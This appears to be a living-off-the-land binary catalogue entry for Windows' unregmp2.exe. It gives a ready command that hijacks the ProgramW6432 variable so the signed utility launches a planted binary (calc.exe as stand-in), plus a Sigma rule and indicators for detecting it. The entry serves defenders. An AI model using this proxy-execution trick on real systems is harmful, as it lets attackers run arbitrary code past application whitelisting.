Microsoft Windows Media Player Setup Utility
rmdir %temp%\lolbin /s /q 2>nul & mkdir "%temp%\lolbin\Windows Media Player" & copy C:\Windows\System32\calc.exe "%temp%\lolbin\Windows Media Player\wmpnscfg.exe" >nul && cmd /V /C "set "ProgramW6432=%temp%\lolbin" && unregmp2.exe /HideWMP"
Allows an attacker to copy a target binary to a controlled directory and modify the 'ProgramW6432' environment variable to point to that controlled directory, then execute 'unregmp2.exe' with argument '/HideWMP' which will spawn a process at the hijacked path '%ProgramW6432%\wmpnscfg.exe'.
Proxy execution of binary
C:\Windows\System32\unregmp2.exe, C:\Windows\SysWOW64\unregmp2.exe
Sigma: https://github.com/SigmaHQ/sigma/blob/197615345b927682ab7ad7fa3c5f5bb2ed911eed/rules/windows/process_creation/proc_creation_win_lolbin_unregmp2.yml, IOC: Low-prevalence binaries, with filename 'wmpnscfg.exe', spawned as child-processes of `unregmp2.exe /HideWMP`
Wade Hickey (@notwhickey)